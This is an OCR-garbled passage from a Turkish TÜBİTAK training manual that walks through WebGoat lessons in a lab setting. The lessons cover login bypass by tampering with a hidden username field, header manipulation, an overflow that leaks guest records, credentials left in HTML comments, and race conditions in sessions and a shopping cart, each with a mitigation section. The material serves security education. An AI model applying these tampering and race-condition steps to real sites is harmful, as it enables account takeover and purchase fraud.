gOsterilmiyor da olsa sonugta gonderildiginden ko6t niyetli kisi kaynak koda inerek bu sézde
sakli bilgiyi gorebilir:

1 <input name="hidden tan" value="2" type="HIDDEN">

Bu durum istismara aciktir. Dolayisiyla kiyaslanacak TAN karari sunucu tarafinda verilip
kullanilan TAN'lar ise artik kullaniimayacaklar tablosuna eklenerek bu sorun
¢ozulebilir(Tablodan kastim veritabani tablosudur).

[1] Transaction Authentication Number - TAN ( Banka islemi yetkilendirme numarasi )

TUBITAK — BILGEM - Siber Givenlik Enstitisi 135



TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: WEBGOAT

DERS 24 - AUTHENTICATION FLAWS > MULTI LEVEL LOGIN 2

Authentication Flaws(Kimlik Dogrulama Kusurlari) Gnitesinin besinci dersi olan Multi Level
Login 2(Cok Seviyeli Oturum Girisi 2) dersinde giinimuzdeki bankalarin internet subelerinde
kullanilan oturum girisi sistemine benzer bir sistem icin kullanici adini bildigimiz bir sahsin
hesabinin senaryo geregi nasil ¢alinabileceginden bahsedegiz.

Dersin Hedefi

Bu derste senaryoya goére WebGoat Financial firmasina ait bir hesabiniz bulunmaktadir.
Kullanici adiniz Joe, sifreniz ise banana 'dir. Bir saldirgan olarak hedefiniz Jane adli kurbanin
hesabina giris yapabilmektir. Oturum girisi icin kullanacaginiz TAN'lar(Banka islemi
yetkilendirme numaralari) ekranda listelenmistir.

Aciklamalar

[ Bir 6nceki yaziyr okuyanlar bu bashgi atlayip direk Dersin Coziimiine gegmelidirler. Clnku
onceki yazi ile bu yazinin Agiklamalar kismi konu benzerliginden dolayi aynidir. Onceki
yazidan bihaber okurlar bu basligi okumaya devam edebilirler. ] Bir "Cok Seviyeli Oturum
Girisi" gugla bir yetkilendirme saglamalidir. Bu amag var olan oturum girigine ikinci katmani
ekleyerek saglanmistir. Ginimuiz bankalarinin internet subelerini distnelim. Eger bir internet
subesine daha 6nce baglandiysaniz bilirsiniz ki hesabiniza girebilmek i¢in éncelikle musteri
numarasi tarzi bir veri, sonra sifre girersiniz. Girdiginiz bu veriler sayet onaylanirsa akabinde
bir TAN girmeniz istenir. TAN demek banka yetkilendirme numarasinin ingilizce karsihiginin
bas harflerinden olusan bir kisaltmadir. TAN bir ¢esit say! dizisidir. Siz telefonunuza sms olarak
gelen bu sayiyl ikinci katmanda girerek internet subesine baglanirsiniz. TAN verisi cep
telefonuna sms olarak gelebilece@i gibi mesela eposta araciifiyla da gelebilir. Bu ders
ekraninda ise size kullanabileceginiz birka¢ tane TAN verilmigtir.

Dersin Coziimii

Bu dersin ¢6zum( Multi Level Login 1, Stage 2 ile benzerdir, fakat ¢ok ufak bir yaklagim farki
vardir. Bu seferkinde sahip oldugumuz tek sey kullanici adidir. Fakat ayni zamanda saldirgan
rolindeki bizim de bankanin internet subesi icin hesabimiz vardir.

Joe kullanict adi  ve banana sifresiyle sisteme giris  yapin.  Ardindan
WebScarab'in Intercept sekmesine gelip Intercept Request checkbox'ina tick koyun. Sonra
sizden istenen TAN'I ders ekranindaki metin kutusuna girin.
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Solution Videos Restart this Lesson

You are an attacker called Joe. You have a valid account by webgoat financial. Your goal is to log in
as Jane. Your usermame is Joe and your password is banana. This are your TANS:

Tan #1 = 15161

Tan #2 = 4894

Tan #3 = 18794

Tan #4 = 1564

Tan #5 = 45751

& Goat Hills Financial
Jﬁ Human Resources
[ O
Please Login
Enter TAN |
#1:
| Submit |
Logout
L

Ve Submit butonuna basin. Ekraniniza bir WebScarab popup'l gelmis olmalidir. Bu
pencerede Submit butonu ile yaptigimiz talepteki degiskenler ve degerleri siralanmaktadir.

Edit Request

Intercept requests : Intercept responses: [ |

l/Parsed rRaw |

Method URL Version
[PosT | |http://localhost: 8080/ WebGoat /attacksScraen=33&menu=500 | [HTTR/1.1]
I Header Value
||Host localhost: 8080 -
J|user-2Agent Mozilla/5.0 (<11; Ubuntu; Linux x85_64. Insert
|| Accept text/html, application/xhtml+xml, applica. ..
|| Accept-Language en-Us,en;g=0.5 Delete
|| Accept-Encoding gzip, deflate
URLEncoded | Text | Hex |
Variable Value
hidden_user Joe
tan2 15161
Submit Submit
Insert
Delete
T T e e,
Accept changes I Cancel changes Abort request | | Cancel ALL intercepts
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Gorduguniz Uzere gonderilen degiskenlerden biri ilk katmani gegen kullanicinin adini
tutuyor. Bunu hesabina girmek istedigimiz kurbanin kullanici adiyla degistirelim:

[ URLEncoded | Text | Hex |

Variable | Value
hidden_user [Jang]
tan2 4894
Submit Submit

Insert

Delete

Accept Changes butonuna basarak talebi sunucuya saliverelim. Béylece kendi hesabimiza
girecekken sistemin bir acigini kullanarak kurbanin hesabina girmis olduk.

Sonug¢

Bu derste bize gosteriimek istenen agik oturum giris sistemindeki iki katmanin birbirleriyle
olan kopuklugudur. Sunucu ikinci katmana gelen musteriye kendi kullanici adini déndurtyor
ve ikinci katmani gegme tesebblstinde bulunan misterinin kendisine gelen bu kullanici adi
verisi tekrar sunucuya gidiyor. Boylelikle sunucu aldi§i bu kullanici adina gére de TAN
dogruysa oturum izni veriyor. Bu tipik bir glvenlik acigidir. Bu guvenlik acigi sayesinde ilk
katmani gegen biz ikinci katmanda istedigimiz kullanici olarak oturum agabilme gticiine sahip
oluyoruz. Bunu izale etmenin yollarindan bir tanesi su olabilir: ilk katman ile ikinci katman
arasindaki iligki icin ardisik denetleme mekanizmasi kullaniimalidir. Yani ilk katmani gegen
kullaniciyi ikinci katmanda belirtebilmek igin misteriye giris tesebbisiinde bulundugu
kullanici adini génderip ikinci katman sonunda bu kullanici adini referans alarak oturum izni
vermemelidir. Bunun yerine ilk katmani gegen kullanicinin bilgileri $_POST['userName'],
$_POST['password'] seklinde ikinci katmana aktariimali. Sonra ikinci katmanda girilen TAN
ile beraber hepsi tekrar isleme sokulmalidir/denetlenmelidir. Yani iki kez kullanici adi ve sifre
denetlemesi yapilmali ki bu dersin sundugu agiga meydan vermeyelim. Bu, ¢6zim
yollarindan sadece bir tanesidir.
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¥ Edit Request

Intercept requests : [v] Intercept responses :

[ Parsed | Raw |

Method URL Version
GET hitp:fineo:80MWebGoatiattack?Screen=133&menu=310 (HTTPA A |
. . Header | i ___Value . |

Accept limagefgif, imagef-xbitmap, image/fjpeg, imag..

Referer |http:fineo/WebGoatiattack?Screen=133&men
Accept-Language ink-be J

UA-CPU 86 e
Accept-Encoding lozip, defate Insert

User-Agent (Mozillaf4.0 (compatible, MSIE 7 bﬂb, Windows N..

Proxy-Connection [Keep-Alive Dose
Host neo
Cookie LSESSIONID=novalidsession|
Authorization |Basic YmFzaWMBYmFzavyh=
[ Position [0]1]2]3[4]s[6]7]8[a]Aa[B]c[D]E]F] String
Accept changes l Cancel changes I Abort request ‘ Cancel ALL intercepts

Bu sekilde yapinca Accept Changes diyerek olmasi gerektigi gibi WebGoat'in baslangi¢
sayfasina yonlendirileceksiniz. JSESSIONID artik degistirilmistir. Bu ylzden sunucu verdigi bu
yeni oturuma goére derslere sifirdan sizi baslatacaktir. Bu zamana dek yaptiginiz dersleri
tamamlamamis gortceksiniz. Clnkl artik oturumunuz degisti. Bu oturum acgikken baslangi¢
sayfasindan derslerin listeleneceyi araylze gegin. Ardindan yapmakta oldugunuz ders olan
"Basic Authentication"a tiklayin. Bdylece dersi basariyla tamamlamis olursunuz. Eski
oturumunuza ddénebilmek icin WebGoat'u terminalden sonlandirin ve tekrar baglatin. Béylece
kaldiginiz yerden devam edebilirsiniz. Webscarab'in popup'lari karsiniza gelmesin istiyorsaniz
koydugunuz tick'i kaldirmaniz yeterlidir.

Sonug¢

Bu derste iki kavram Gzerinde durulmustur. Bunlardan birincisi JSESSIONID, yani c¢erez,
ikincisi ise authorization, yani yetki. Bu iki kavram(header) sirayla manipule edilerek ne anlama
geldikleri uygulama Uzerinden deneyimlenmeye c¢alisiimigtir. Toparlayacak olursak bir kimse
bir web uygulamasinin login ekranina hesap bilgilerini girmekle authenticate edilir. Bunun
Uzerine sunucu kullaniciya ilgili gerezi ve authorization't génderir. Kullanici bdylece cerez ile
sistem Uzerinde online kalacagi gibi authorization'in izin verdigi dlcide de iceriklere ulasabilir
olacaktir.
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DERS 25 - BUFFER OVERFLOWS > OFF-BY-ONE OVERFLOWS

Buffer Overflows Unitesinin dersi olan Off-by-One dersinde buffer overflow(tampon tasma)
saldirisi gergeklestirilecektir.

Dersin Hedefi

"OWASP Hotel'ine hosgeldiniz. Odanizdan internete erisebilmek igin ekranda sunulan metin
kutularini doldurmaniz gerekmektedir." Hedefiniz otelin disindaki bir kisi olarak otelin
internetine baglanabilmektir.

Aciklamalar
Bu dersin mihenk noktasi olan buffer overflow, yani tampon tasmasi bir degiskene
kapasitesinden daha fazla deger atandiginda meydana gelir. Orn;

1 char A[8] ="";

2 unsigned short B = 1979;

A degiskeni 8 byte'lik null igerir. Yani sayisal anlamda hiicrelerde sifir yer alir. B degiskeni
ise 2 byte'lik 1979 sayisini igerir:

variable name A B
value [null string] 1979
hex value 60 @d 0O 060 60 00 08 08 07 BB

Diyelim ki program A string'ine null ile sonlanan "excessive" string'ini kopyalamak istiyor.
Bunun icin asagidaki strcpy() fonksiyonu galistirihyor. Gorildigu Uzere "excessive" stringi 9
byte arti bir de null ile sonlanma karakteri "\O' eklenince 10 byte olmaktadir, A string'i ise 8
byte yer kaplamaktadir.

1 strcpy (A, "excessive");

Yukaridaki komut ile A degiskenine kopyalanacak "excessive" stringi tagsacak ve asagidaki
resimden de gorebilecediniz gibi bellekte A degiskeninden sonra gelen B boélgesine A'dan
tasanlar yerlesecektir. Yukaridaki érnek icin "excessive" stringinin son harfi ile null (\0")
karakteri B'nin Uzerine yazilacaktir ve B deg@iskeni 25856 degerine sahip olacaktir.
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variable name A B
value e' | 'x' 'c' | 'e'  's' | 's'|"'i'|"y' | 25856
hex 65 78 63 65 73 73 69 76 65 00

Tampon tasirma mantiksal agidan bdyle bir seydir. Bu derste tampon tasirmayi otelin web
uygulamasindan ekstra bilgi elde edebilmek icin kullanacagiz. Yani bu dersin yukarida
bahsedilen buffer overflow érneginden farki tamponu tasiran karakterlerin overwrite
edilmeyecek olmasidir. Bdylece veritabaninda mevcut bulunan ilgili otel musterisinin bilgisi
donduirilecekken tasma ile komsu hiicrelerde sirali olan fazladan bilgilerin gelmesi
saglanacaktir.

Dersin Coziimi

Oncelikle otelin disinda ikamet etmekte olan sizin normal sartlarda internet erisimine dahil
olamamaniz gerekir. Fakat simdi diizenleyecegimiz buffer overlow saldirisi ile otel icinde kayith
olan bir musterinin senaryo geregi bilgilerine erigseceg@iz ve bdylece otelin digindan internet
erisimini elde etmis olacagiz. Oncelikle ders ekranindaki metin kutularindan ilk ikisine rasgele
bir seyler girin. Rasgele bir seyler giriyoruz, ¢cunkl otelde kalan herhangi bir kisinin adini ve
soyadini bilmiyoruz. Ardindan WebScarab'iniz eger http taleplerini yakalayabiliyor degilse
yakalayabiliyor yapmak icin Intercept sekmesine gelin ve Intercept Request checkbox'ina tick
isareti koyun. Simdi ders ekranindaki Submit butonuna tiklayin. Ekrana gelen WebScarab'in
popup'indaki post ettigimiz bilgilere bakalim:

0 Edit Request

Intercept requests : Intercept responses: [ |

fParsed rRaw |

Method URL Version
[PosT | [hitp://localhost: 8080/ WebGoat/attack?scraen= 12 6&manu=600 | [HTTP/1.1]
Header Value
Host localhost: 8080
User-Agent Mozilla/5. 0 (<11, Ubuntu; Linux x86_64... rre—
Accept text/html, application/xhtml+xml, applica...
Accept-Language en-Us,en;q=0.5 Delete
Accept-Encoding gzip, deflate
Feferar http://localhost: 8080/ WebGoat/attackss. .. =
R e ]|
URLEncoded | Text | Hex |
( Variable Value
[first_name a
last_name b
room_no
SUBMIT Submit
Insert
Delete
e e e e e e e e
| Accept changes | Cancel changes Abort request | | Cancel ALL intercepts
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Gorildugu Uzere rasgele olarak girdigim ilk metin kutusundaki 'a’ ve ikinci metin kutusundaki
'b" harfleri POST edilmektedir. Uglincli metin kutusunun degerini tutan room_no degiskeni ise
oda sakinin kaldi§i oda numarasini tutacaktir. iste saldiri bu degisken tizerinden
gerceklestirilecektir. Normalde kullanicidan beklenen oda numarasi degeri tas catlasin 4
basamakli bir sayidir. Biz 4 basamakli bir sayi yerine bunun belki 1000 kati degerinde bir
say| girecegiz. Boylece sunucuda oda numarasi i¢in ayriimis degisken boyutunu asmis
olacagiz ve sunucu belleginde room_no degiskeninin yer aldigi hicrenin komsu
hicrelerindeki degerleri tagsma miktarinca okuyabilecegiz. Clnku otelin sundugu hizmete
gdre metin kutularina girilen degerler baz alinarak sunucu bir sonug géndermektedir. iste
gonderilen bu sonug tasma miktarinca room_no degiskeninin komsusunda yer alan bellek
hlcrelerindeki degerleri icerecektir.

Simdi buffer overflow saldirisinda bulunmak icin bu linkteki devasa sayiyi kopyalayin.
Ardindan 6énceden ekrana gelen WebScarab popup'ina tekrar gelin. Oradaki room_no
degiskeninin yanindaki hiicreye cift tiklayin ve kopyaladiginiz devasa sayiyi oraya yapistirin.
Accept Changes butonuna bastiktan sonra ders ekrani sizden internet erisimi igin
kullanacaginiz paketi segcmenizi isteyecektir. Accept Terms butonuna basarak devam edin.
Nihai olarak sunucu girilen oda sakininin bilgilerini dondurecektir. Fakat girdigimiz veri
devasa oldugu igin oda sakininin bilgileri dondugu gibi diger oda sakinlerinin bilgileri de
donduriimis olacaktir. Bunu gorebilmek icin kaynak koda inmemiz gerekmektedir. Zira bu
bilgiler html kodlamasi ile araylzden saklanmaktadir. Kaynak kodu komple inceleyerek
zaman kaybetmek yerine sadece belirttigim alana sag tiklayin ve Ogeyi Denetle(Inspect
Element) segenegine tiklayin. Boylece araytzden saklanan oda sakinlerinin bilgilerini
gérebiliyor olacaksiniz.

Solution Videos Restart this Lesson

Welcome to the OWASP Hotel! Can you find out which room a VIP guest is staying in?

* To complete the lesson, restart lesson and enter VIP first/last name

You have now completed the 2 step process and have access to the Internet
Process complete

Your connection will remain active for the time allocated for starting now.

O

We would like to thank you for your payment.
Created by Yiannis| SELEUC
Paviosoglou .

OWASP Foundation | Project WebGoat | Report Bug

Yukaridaki resimde yer alan yesil gemberin oldugu noktaya sag tiklayip Ogeyi denetle
dedikten sonra tarayicinin alt bélimuandeki kisimda beliren html kodlarin biraz asagisina
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indiginizde goreceksiniz ki oda sakinlerinin tum bilgileri listelenmisg:

4 Choose another language: | English 2 Logout@

7
f

Off-by-One Overflows

¥ OWASP WebGoat v5.4

Solution Videos Restart this Lesson

® > Console @ Debugger [# Style Editor @ Perform... | 7 Network

< divtwrap diviztwoCol ~ div#lessonArea div#lessonContent form table tbody tr 0]
<ta></id>
</tr>
<tr></tr>
<tr></tr>
</tbody>
</table>
< =
></

<br></br>
<br></br>
We would like to thank you for your payment.
<br></br>

iclerinden birini secin ve ad, soyad, oda numarasi bilgilerini bir yere not edin. Gereksiz yere
calismamasi icin WebScarab'a eklediginiz tick isaretini kaldirin. Ardindan ders ekraninin sol
tarafinda siralanan derslerden bulundugumuz dersin ismine tiklayin ve tekrar otelin internet
erisimi talep sayfasina gelmis olun. Gelen ekrandaki ilk metin kutusuna not ettiginiz adi,
ikincisine soyadi ve Ug¢lnclUstine de oda numarasini girin. Sonra bir internet paketi segin
ve Accept Terms butonuna tiklayin. Boylece otelin disindan otelin bir sakiniymis gibi internet
sahibi oldunuz.

Sonug¢

Buffer Overflow ile gelmesi planlanan bilgi ile beraber sunucudaki ilgili bilginin yer aldigi
hdcrenin komsu hacrelerindeki diger bilgiler de elde edilmis oldu. Bu tip saldirilardan
sakinabilmek icin kullanicinin girdigi verilere karakter limiti konulmalidir. Normal kullanici icin
istemci tarafli karakter limiti tayin edilmeliyken kéth niyetli kullanicilar icin de sunucu tarafli
karakter limiti koyulmalidir. Yani bir istemci ve bir de sunucu olmak tzere iki tarafta da karakter
limiti koyulmalidir. istemci tarafi icin html attribute'u olan maxlength kullanilabilir. Sunucu
tarafinda ise kullanilan web programlama dilinin karakter sayisi 6lgen bir fonksiyonu if
condition’lari ile kontroll saglayacak sekilde kullanilabilir(Mesela if(strlen(degisken) > 50 echo
"hata: tampon tasti";)
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DERS 26 - CODE QUALITY > DISCOVER CLUES iN THE HTML

Code Quality(Kod Kalitesi) tUnitesinin dersi olan Discover Clues in the HTML(HTML'deki
ipuclarini kesfetme) dersinde kodlama esnasinda not dusllen yorumlar ele alinacaktir.

Dersin Hedefi
Kullanici olarak yetkilendirme kontrollini atlatabilmeniz gerekmektedir.

Aciklamalar

Geligtiriciler FIXME(Beni duzelt), TODO's(Yapilacaklar Listesi), Code Broken(Kiriimig kod),
Hack gibi ifadeleri gelistirdikleri kodlara ekledikleri icin adlari ¢ikmistir. Yani geligtiriciler bu
anlamda kotl bir Gne sahiptir. Hele bir de backdoors(arka kapilari - sistem aciklarini), sifreleri
ve buna benzer seyleri yorum olarak kodlarina eklemeleri yok mu... Bu ders bu konuda
geligtiricileri uyarmak adina 6gretici bir hedefe sahiptir.

Dersin Coziimii

Ders ekraninda sunulan login arayiiziindeki bir metin kutusuna sag tiklayin ve Ogeyi
Denetle(Inspect Element) deyin. Tarayicinin alt béliminde acgilan ekranda HTML kaynak
kodlarini gorlceksiniz. Biraz yukari ciktiginizda fark edeceksiniz ki bu login araytzini
gelistiren ekip unutmamak icin kullanici adi ve sifreyi yorum olarak kaynak koda kaydetmisler.

AUTNENTICATION ELAWE

[ » Console . @ bebugger II:{nStyleEditor @ Fl’e'rform... F r;let\l.\..rork
< diviztwoCol » divilessonArea -~ divi#lessonContent form table - tbody tr td m O] I

<div id="message" class="info"=</div> -
<div id="lessonContent">
<form enctype="" action="attack?Screen=115&menu=208" name="form" method="POST" accept-charset="UNKNOWN">
<!-- FIXME admin:adminpw -->
<!-- Use Admin to regenerate database --=
<hl=5ign In</hl>
<table cellpadding="2" border="@" align="center" width="90%" cellspacing="0">
<tbody>
<tr><ftr>
<tr><ftr>
<tr><ftr>
<tr>
<td></td>
<td>
<input type="TEXT" value="" name="Username"=></input>
</td>
</tr=
<tr><ftr>
<tr><ftr>
</tbody>
</table>
</Torm=
<fdiv>
<div id="credits"></div>
</div>
<fdiv> -

Yorum satirlarindan elde edilen admin kullanici adi ve adminpw sifresini kullanarak login
arayUzunden giris yaptiginizda dersi tamamlamig olursunuz.

Sonug
Bir yazilim ya da web uygulamasi gelistirirken dokiimantasyon ¢ok muhimdir. CUnkul binlerce
yazdiginiz kod satirlarina bir stire sonra geri dondiglinizde "Ben burada ne yapmisim?"
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sorusunu sormaniz ¢ok muhtemeldir. Tekrardan yazdiginiz koda adapte olabilmek igin kod
icine yorum satirlari eklemek faydaldir. Fakat guvenlik anlaminda kritik bilgiler bu derste
oldugu gibi baskalarinin erigsebilecegi sekilde meydanda durmamalidir. Zira kétlu niyetli
kimselerin yapacaklari islerden bir tanesi de kaynak kodu incelemektir.
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DERS 27 - CONCURRENCY > THREAD SAFETY PROBLEMS

Concurrency(Eszamanlilik) Unitesinin ilk dersi olan Thread Safety Problems(ls Pargacidi
Glivenlik Problemleri) dersinde thread safety kavramindan bahsedilecektir.

Dersin Hedefi

Kullanicit web uygulmasindaki eszamanlilik sorununu exploit edebilmeli, yani istismar
edebilmeli ve kendi login bilgilerini gérecekken ayni anda ayni fonksiyonu kullanan baska
kullanicinin bilgilerini gérebilmelidir.

Aciklamalar

Web uygulamalari birden fazla HTTP taleplerini eszamanl olarak isleyebilirler. Gelistiriciler
geligtirdikleri web uygulamalarinda siklikla thread safe olmayan degiskenler kullanirlar. Bir
class'in thread safe olmasi demek eszamanl gergeklesen hitp taleplerinin sorunsuzca
halledilmesi demektir. Yani thread safe'in olmadidi bir sinifta ayni anda kullanilan sinif
degigkenini ilk thread nasil gériyorsa diger thread'ler de o sekilde gorur. Buradaki thread'lerin
her birini http talebi olarak distnmelisiniz. Siz bir web tarayicisi ile bir sunucudan sayfa talep
ettiginizde bu bir thread'e tekabll eder. Farkh bir tarayici penceresinden ayni siteyi talep
ederseniz bu ikinci thread'e tekabul eder. Bu thread'leri alan sunucu ise bunlari isleme sokar
ve sonug¢ dondurir. Sorun su ki eger web uygulamasi thread safe degilse eszamanli gelen
thread'lerden biri digerinin kopyasi sonug alacaktir. Yani sanki her thread kendi stack'ine sahip
degilmis gibi davranacaktir ve ilk thread, degiskenleri nasil goriyorsa diger thread'ler de ayni
sekilde gorecektir. Bunu kafanizda canlandirabilmek igin sinifin icerisinde static bir degiskenin
kullanildigini varsayin. Ne kadar farkh thread gelirse gelsin static degisken ayni degerini
koruyacaktir. Boylece kullaniciya ikinci thread igin farkli igerikli sayfa gelmesi gerekirken ayni
icerikli sayfa gelecektir. thread safe kullanilarak bir thread'in baska thread'lere karismasi ve
degerlerini modifiye etmesi riski paylasimli veriye koordineli erisim ile engellenir.

Dersin Coziimi

Oncelikle dersin konusu eszamanlilik oldugu igin ders ekranini gérintiileyen tarayici ile
beraber yeni bir pencere daha acalim. Bunun icin ders ekranini goéruntileyen tarayici
penceresini ekrana getirin ve CTRL+N tus kombinasyonunu kullanin. Bdylece yeni bir tarayici
penceresi agmis olursunuz. Ardindan ders ekranini goruntileyen tarayicidaki url'yi kopyalayin
ve yeni actiginiz tarayiciya yapistirin ve enter'layin. Artik bu dersin eszamanlilikla alakal
bug'ini, yani hatasini exploit etmek i¢cin - sOmirmek igin - hazirsiniz.

Ders bize iki tane kullanici adi sunmaktadir. Birincisi dave ve ikincisi ise jeff 'tir. Bu kullanici
adlarindan birini ilk tarayicinin sundugu ders ekranindaki metin kutusuna, digerini ise yeni
actiginiz ~ tarayicinin sundugu  ders  ekranindaki metin kutusuna  giriniz.
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(-’ @ localhost:8 v @||Q search w Ba

Choose another language: @glish Z:

OWASP WebGoat v5.4

Choose another language: English = -
Introduction

General

Access Control Flaws
AJAX Security

Solution Videos

Authentication Flaws e o |
Buffer Overflows e ‘ Thread Safe}
Code Quality

Concurrency menu=800 OWASP WebGoat v5.4

Thread Safety Problems
Shopping Cart Concurency JSESSIONID % 3E58517306CO0EFAl Introduction
Flaw General

The user should be able to exploit the Access Control Flaws

Solution Videos

Cross-Site Scripting (XSS) information for another user that is af AJAX Security

improper Error Handling require the use of two browsers. Authentication Flaws Pnsharty o9
Injection Flaws Buffer Overflows Screen=69
PEHIE[ chse“"l[f i Please enter your usermname to acces| Code Quality

nsecure Communication e

! a Concurrency et =808

Insecure Configuration
Insecure Storage

Malicious Execution
Parameter Tampering
Session Management Flaws
Web Services

Admin Functions

Challenge

Enter user name: \dave

Thread Safety Problems
Shopping Cart Concumency
Haw

Cross-Site Scripting (XSS)
Improper Error Handling
Injection Flaws

JSESSIONID &> 3E58517306C90EFAE71BAC97FDD8F35B

The user should be able to exploit the concurrency error in this web applicatj |
information for another user that is attempting the same function at the sam
require the use of two browsers. Valid user names are 'jeff and 'dave'.

Denial of Service
Insecure Communication
Insecure Configuration
Insecure Storage

Please enter your usemame to access your account.
OWASP Foundation | Project WebGoj

Malicious Execution Enter user name: |jeff Submit

Parameter Tampering —

Session Management Flaws

Wdeb Se[[vl(fs ASPEG"
v

Ardindan ders ekraninda bulunan Submit butonuna her iki tarayici igin seri(hizh) bir sekilde
basin. Ekrana gelen kullanici bilgileri géreceginiz Uzere her iki tarayicida da ayni olacaktir.
Hem de diger pencereden farkl kullanici adi girilmis olmasina ragmen...

x Web Browser

[# Thread safety Probl... x

v & | |Q search

Logout @

/attack?Screen=69&menu=800

€ | @ localhost:8080,

Choose anotherlanguage: | English 2

J Thread Safety Problems
OWASP WebGoat v5.4 "] Hints [ ams £ Plan a

Introduction
General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows

Thread Safety Problems - Mozilla Firefox
[# Thread safety Probl... x

Solution Videos

SUBMIT=Submit

Code Quality Sereen=69 € | @ localhost:3080/WebGoat/attack?Screen= v G| | Q Search WA » =
Concurrency —
menu=800 N — =
[ AIRK Security SUBMIT=Submit

Thread Safety Problems Authentication Flaws

Buffer Overflows

Shopping Cart Concunency Code Qualit Screen=69
Blaw JSESSIONID = 3E58517306C90EFAET1BACS7FDE cumu”eﬂnc#’
menu=800
Cross-Site Scripting (XS5)
Improper Emar Handiing The user should be able to exploit the concurrency ® 1 Saten Probeme

Injection Flaws information for another user that is attempting the s username=dave

Denial of Service require the use of two browsers. Valid user name Shopping Cart Concumen:

Insecure Communication Haw JSESSIONID 5> 3E58517306C90EFAE71BAC97FDDBF35E
o Please enter your username to access your account

Insecure Configuration v ¥ Cross-Site Scripting (XS5)

Insecure Storage Improper Error Handling

Malicious Execution Injection Flaws

Parameter Tampering Denial of Service

Session Management Flaws Insecure Communication

Web Services Insecure Configuration

Admin Functions Insecure Storage

Challenge Malicious Execution

Parameter Tampering

Session Management Flaws

Web Services

Admin Functions

Challenge

The user should be able to exploit the concurrency error in this web applicat|~
information for another user that is attempting the same function at the sar

* Congratulations. You have successfully comp require the use of two browsers. Valid user names are 'jeff and 'dave’

Please enter your usemame to access your account.
Enter user name:

*
Account information for user: dave Congratulations. You have successfully completed this lesson.

Enter user name: Submit | |_

Account information for user: dave

OWASP Foundation | Project WebGoat | Report Bug

ASPEC
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Sonug

Eger gelistirilen web uygulamalari thread safe olmazsa bu derste oldugu gibi bir kullanici bir
baska kullanicinin bilgilerine eszamanlihgdi tutturdugu takdirde erigebilir. Yani kullanici kendi
hesabina girmeyi beklerken bir de bakmis, bir bagkasinin hesabina girmis. Bu durum tahmin
edebileceginiz gibi hi¢ de hos olmaz. :)

TUBITAK — BILGEM - Siber Giuvenlik Enstitiisi 148



TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: WEBGOAT

DERS 28 - CONCURRENCY > SHOPPING CART CONCURRENCY FLAW

Concurrency(Eszamanlilik) Unitesinin  ikinci  dersi  olan Shopping Cart Concurrency
Flaw(Alisveris Sepeti Eszamanlilik Acidi) dersinde alisveris sepetindeki esyanin eszamanlilik
bug'l kullanilarak nasil ucuza alinabileceginden bahsedilecektir.

Dersin Hedefi
Bu egzersizde hedefiniz bir mali daha disuk fiyata eszamanlilik durumunu exploit ederek -
somdurerek - almaktir.

Dersin Coziimii

Dersin sundugu aligveris similasyonunda 4 tane Urtin goérintilenmektedir. 4 Grinden kag tane
alinacaksa yanlarina adedlerini girilebilecegimiz metin kutulari mevcuttur. Bu metin kutulari
doldurulup Sepeti Giincelle(Update Cart) butonuna tiklanildiginda ayni sayfada kalinmakla
beraber sunucuya yeni UrGn adetleri bilgisi gdénderilir ve bdylece tablo verileri glincellenir. Bu
sayfada ayni zamanda satin al(Purchase) butonu da mevcuttur. Eger sepet giincellenmeden
girilen Urln adetlerini takriben Purchase butonuna tiklanilirsa sepet yine glincellenmis olur.
Kodlar buna gére ayarlanmistir. Ayni zamanda kodlara gére Purchase(Satin Al) butonuna
basildigi takdirde tablodaki toplam fiyatlar(Total) sunucudaki runningTotal adli degiskende
toplanir ve en sonunda calcTotal degiskenine runningTotal degiskeni atanir. Purchase(Satin
Al) butonuna tiklanildiktan sonra gelen sayfada onayla(Confirm) butonu
bulunmaktadir. Confirm butonuna tiklanildigi takdirde kod bazinda tablo guncellenmesi
yapilmadan var olan bilgilerle islem sonlandirilir. Bu sekilde kodlanmis e-ticaret sitelerinde
geligtirici sonug¢ olarak su mantigi kurmus olmalidir ki bu sekilde tercihini kullanmis ve
kodlamis: "Odeme onaylama asamasina gelene kadar zaten musteri tablodan istedigi 6lgtide
adet verisi girmistir. Bu girilmis veriler satin al(Purchase) butonuna tiklanilmasi sonucu
calcTotal adli degiskende toplanmistir. E artik tablo iglemi geride kaldigina gore musterinin
yapacagl sadece 6demeyi onayla(Confirm) demek ya da islemi iptal et(Cancel) demektir.
Dolayisiyla ilk iki durumda(Update Cart ve Purchase butonlarinin yer aldigi sayfada) drin
adetleri ve toplam fiyatlar(Total) hesaplanirken, yani tablo gincellenmesi yapilirken son
asamada(Confirm ve Cancel butonlarinin yer aldii sayfada) Urin adetleri ve toplam
fiyatlarin(Total'in) hesaplanmasina gerek yoktur." Bu mantikla giden gelistirici son agamada
urin adedini ve toplam fiyatlarini(Total'l) guncellemeyi gereksiz, fazlalik gibi gérdiginden
bilmeden bir acik vermis oldu. Kotu niyetli bir masteri eszamanl bir aligveris yaparak bu
aciktan faydalanabilir ve pahali Grini ucuz Urin fiyatina alabilir. Peki ama nasil?

Bu aciktan bir musteri sdyle faydalanabilir: Ayni aligveris yapabilecegdi sayfadan iki tane agar.
Tarayicisindaki ilk sekmedekine A penceresi, ikinci sekmedekine ise B penceresi diyelim. Bu
koétl niyetli musterinin amaci pahali bir Griint ucuza almaktir. A penceresinde diyelim ki ucuz
bir Grlin icin adet sayisina 1 girer ve Purchase butonuna tiklar. A penceresinin ekraninda ucuz
olan 1 adet Grinlin satin alimini onaylamak igin onayla(Confirm) butonu ve sembolik olarak
musterinin degisiklik yaptigi tablo yalnizca okunabilir formatta goéruntulenir. Muigteri, B
penceresinde ise ¢ok pahali bir Grlinun yanina adet olarak 1 girmis olsun ve dénceki sayfada 1
adet dedigi Urun dahil digerleri O adet kalsin. Bu noktadan sonra yapilacak olan islem once B
penceresinde 1 adetlik pahali Urln igin sepeti glincelle(Update Cart) demektir. Sonra A
penceresinde onayla(Confirm) demektir. Bdylece ucuz fiyata pahali Urin almis oluruz.
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[#] shopping Cart Conc... x

€ ) @ localhost:8!

Choose another language: | English 2 Logout Q

OWASP WebGoat v5.4

Introduction

General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows

Solution Videos Restart this Lesson

For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase
merchandise for a lower price.

Code Quality
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Solution Videos Restart this Lesson

For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase
merchandise for a lower price.
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Hitachi- 750GB External Hard Drive $169.00 o $0.00
